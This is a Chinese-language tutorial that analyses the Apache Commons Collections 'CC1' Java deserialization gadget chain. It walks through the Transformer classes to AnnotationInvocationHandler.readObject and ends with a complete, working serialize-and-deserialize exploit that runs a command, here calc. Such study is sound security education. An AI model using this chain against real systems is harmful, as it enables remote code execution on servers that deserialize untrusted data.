什么是CC链
Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用,导致了反序列化漏洞的普遍性和严重性
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。
建议学习cc链之前先学一下Java的反射机制
环境搭建
jdk下载
我们一共需要下载两个东西
- CommonsCollections <= 3.2.1
- java 8u66 (高版本的jdk有些漏洞已被修复)
java 8u66下载地址
一些源码为class文件,idea反编译出来的文件不方便阅读,我们需要去下载openjdk的源码,并导入我们的jdk中
下载地址
在jdk 8u66安装好后,我们进入安装目录的jdk1.8.0_65文件夹,将 src.zip 解压到当前文件夹
然后将刚才下好的openjdk源码解压,并来到src\share\classes
下面,将sun文件夹复制到jdk的src目录中
idea配置
我们点击左上角的项目结构
然后将jdk的src目录分别添加到类路径和源路径中
创建项目
我们构建系统选择Maven然后创建名为cc1的项目
然后在项目左侧的文件栏中选择 pom.xml 并在其中添加以下内容
用于下载commons-collections依赖
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
最后右键 pom.xml,再点击 Maven选项,按图上标号顺序点击即可
生成源代码需要等待一小会,等目录中出现target文件夹时即可点击 重新加载项目
到此我们所需环境配置完成,下面开始调试分析
前置知识
Transformer接口
接口代码为
public interface Transformer {
public Object transform(Object input);
}
该接口实现了对 对象 的转化,对传入的对象进行一些操作,然后并返回操作完的对象
该接口的重要实现有:
- ConstantTransformer
- invokerTransformer
- ChainedTransformer
- TransformedMap
这些实现的类都与CC链有关,以下是对这些实现的介绍
ConstantTransformer类
ConstantTransformer类的代码为
public class ConstantTransformer implements Transformer, Serializable {
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
public Object getConstant() {
return iConstant;
}
}
我们着重分析下ConstantTransformer构造方法和transform方法
其ConstantTransformer构造方法接收任意类型对象,并赋值给 iConstant 变量,然后无论 transform方法接收什么 input 参数,其都会返回 iConstant 变量,也就是说假如只调用构造方法和transform方法的话,我们传入什么对象,就会原封不动地返回什么对象
invokerTransformer类
invokerTransformer类的代码为
public class InvokerTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
我们同样分析下 InvokerTransformer构造方法和transform方法
构造方法为
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
该方法接收3个参数,分别为 方法名,方法参数类型表,方法参数,在成功接收这三个参数后,便会赋值给其成员变量iMethodName,iParamTypes,iArgs
transform方法为
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
该方法首先需要接收一个名为 input 的对象参数,如果该参数不存在则返回NULL,然后通过 getClass() 方法获取该对象的class对象赋值给cls,然后又通过 getMethod() 方法,获取cls对象中指定参数类型的公共方法,最后通过 invoke() 方法对刚才获取的方法传入参数iArgs并执行,最后返回执行结果(基于反射机制实现)。
ChainedTransformer类
ChainedTransformer类代码为
public class ChainedTransformer implements Transformer, Serializable {
private static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
}
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}
public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
}
if (transformers.size() == 0) {
return NOPTransformer.INSTANCE;
}
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;
for (Iterator it = transformers.iterator(); it.hasNext();) {
cmds[i++] = (Transformer) it.next();
}
FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}
public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 == null || transformer2 == null) {
throw new IllegalArgumentException("Transformers must not be null");
}
Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
return new ChainedTransformer(transformers);
}
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
public Transformer[] getTransformers() {
return iTransformers;
}
}
我们分析其ChainedTransformer构造方法和transform方法
首先构造方法接收一个Transformer[]接口类型的数组,并将其赋值给成员变量iTransformers
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
然后transform方法会循环遍历该Transformer数组,执行该数组每一个成员的 transform 方法,并将执行结果作为下一次 transform 的参数,最后返回最终的执行结果
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer类可以说非常重要,是cc链的核心,它可以将整条cc链串起来,进行链式执行
构造CC链1
CC链1核心
cc链1的核心就是以下代码
Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
//通过Runtime类的getRuntime方法的exec函数进行命令执行
demo1
实现这条核心代码的便是如下transform链
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{
public static void main(String[] args) throws Exception{
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法
}
}
该方法定义了一个Transformer接口的数组,然后将该数组传递给 ChainedTransformer 类
demo1分析
接下来我们来逐条分析一下
首先 transformerChain对象调用了transform方法(传入参数1),开始循环遍历 transformers 数组
第一次遍历:
执行
ConstantTransformer(Runtime.class).transform(1)
因为 Runtime 为单例类,不能直接实例化,所以要通过反射的方法获取
由于ConstantTransformer的transform方法不受传入参数的影响,故返回值还是 Runtime.class
第二次遍历:
将上一次的结果 Runtime.class
带入本次transform,执行
InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class)
得到返回结果为
Runtime.class.getMethod("getRuntime")
第三次遍历:
将上一次结果Runtime.class.getMethod("getRuntime")
带入本次transform,执行
InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(Runtime.class.getMethod("getRuntime"))
得到返回结果为
Runtime.class.getMethod("getRuntime").invoke(null)
第四次遍历:
将上一次结果Runtime.class.getMethod("getRuntime").invoke(null)
带入本次transform,执行
InvokerTransformer("exec", new Class[]{String.class}, new Object[{"calc"}).transform(Runtime.class.getMethod("getRuntime").invoke(null))
得到最终执行结果为
Runtime.class.getMethod("getRuntime").invoke(null).exec("calc")
我们运行,可以看到成功弹出计算器
寻找如何触发CC链1核心
TransformedMap类
我们选中transform()方法,查看哪里对其进行了调用
发现TransformedMap类中的checkSetValue方法对其进行了调用,并返回
该方法定义如下
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
所以我们只需将TransformedMap类中的valueTransformer属性赋值为ChainedTransformer(上一步的核心链),然后调用它的checkSetValue方法,从而触发ChainedTransformer的transform方法,对Transformer数组进行遍历循环,即可进行代码执行
但是我们向上找到TransformedMap类的构造方法,如下
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
发现构造发现是 protected 类型的,并不能直接new实例化,但我们发现了其 decorate 静态方法,如下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
通过分析,我们发现我们只需调用TransformedMap类的静态方法decorate,即可得到一个可自定义属性(包括valueTransformer)的TransformedMap对象
这样我们调用checkSetValue方法时,transform方法 执行的对象赋值的问题便解决了
AbstractInputCheckedMapDecorator类
接下来我们便寻找那里调用了 checkSetValue方法,同样通过(Alt+F7),查找用法
这里只找到一处引用
在 AbstractInputCheckedMapDecorator类的setValue方法中,该方法如下
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
也就是我们在执行setValue方法时便会触发cc链1
同时我们发现 TransformedMap类(上文含有checkSetValue和decorate方法的类)是AbstractInputCheckedMapDecorator类的子类
public class TransformedMap
extends AbstractInputCheckedMapDecorator
……
并且AbstractInputCheckedMapDecorator类重写了Map.Entry的setValue方法,具体继承关系由下图所示
所以当我们调用由TransformedMap类装饰的Map(键值对集合),其Map.Entry(键值对)的setValue方法时,调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1
我们写一个这样的例子,遍历TransformedMap类装饰的Map的Entry
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class demo2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
//创建TransformedMap类装饰的Map
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(1);
}
}
}
readObject方法
然后我们再寻找哪里调用了setValue方法,同样 Alt+F7快捷键选中查找引用
我们在AnnotationInvocationHandler类的readObject方法中找到了对setValue方法的引用,好像找到了这条cc链1的反序列化起点,接下来我们具体分析下
readObject方法代码如下
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我们发现需要利用的核心代码主要如下
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)){
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
经分析得,我们首先需要满足两重if语句,然后才可以对该Map.Entry执行setValue方法
这里强调一下,虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么
第一重if
if (memberType != null)
memberType由以下关键代码获得
annotationType = AnnotationType.getInstance(type);//获取传入的class对象的成员类型信息,type是构造方法传的class对象
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取传入的Class对象类中的成员名和类型
String name = memberValue.getKey(); //获取Map键值对中的键名(成员名)
Class<?> memberType = memberTypes.get(name);//获取传入的Class对象中对应Map中成员名的类型
所以我们传入的class对象中要具有传入的Map中的键名成员(而且要为Annotation类的子类,下面有讲)
举个例子
假如传入Map如下
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
则我们传入的第一个参数,也就是class对象中必须有一个名为value的成员,这个成员可以是属性也可以是方法
第二重if
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
我们要让里面的两个条件都为假,及Map的键值不能为见面对应类型或其子类型的实例的实例,同时不能为ExceptionProxy
类或其子类的实例
我们再来看下AnnotationInvocationHandler类构造方法,代码如下
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
该构造方法需要接收两个参数 **Annotation类或其子类的class对象 ** 和 **Map<String, Object>**对象
我们发现构造方法和类都私有的,需要通过反射获得
然后我们找到Annotation类的子类Target类中含有一个名为 value 的方法,定义如下
//Retention.java
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
RetentionPolicy value();
}
这样我们传入有个含有键名为 value 的Map即可大功告成
完整cc链1 exp
如下:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Serialcc {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//定义一系列Transformer对象,组成一个变换链
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动notepad
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
//给HashMap添加一个键值对
hash.put("value",'b');
//使用chainedTransformer装饰HashMap生成新的Map decorate
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
//通过反射获取AnnotationInvocationHandler类的构造方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
//设置构造方法为可访问的
constructor.setAccessible(true);
//通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象o
Object o = constructor.newInstance(Target.class, decorate);
serialize(o); //定义了一个序列化的方法
unserialize("1.bin"); //定义了一个反序列化的方法
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
运行成功弹出计算器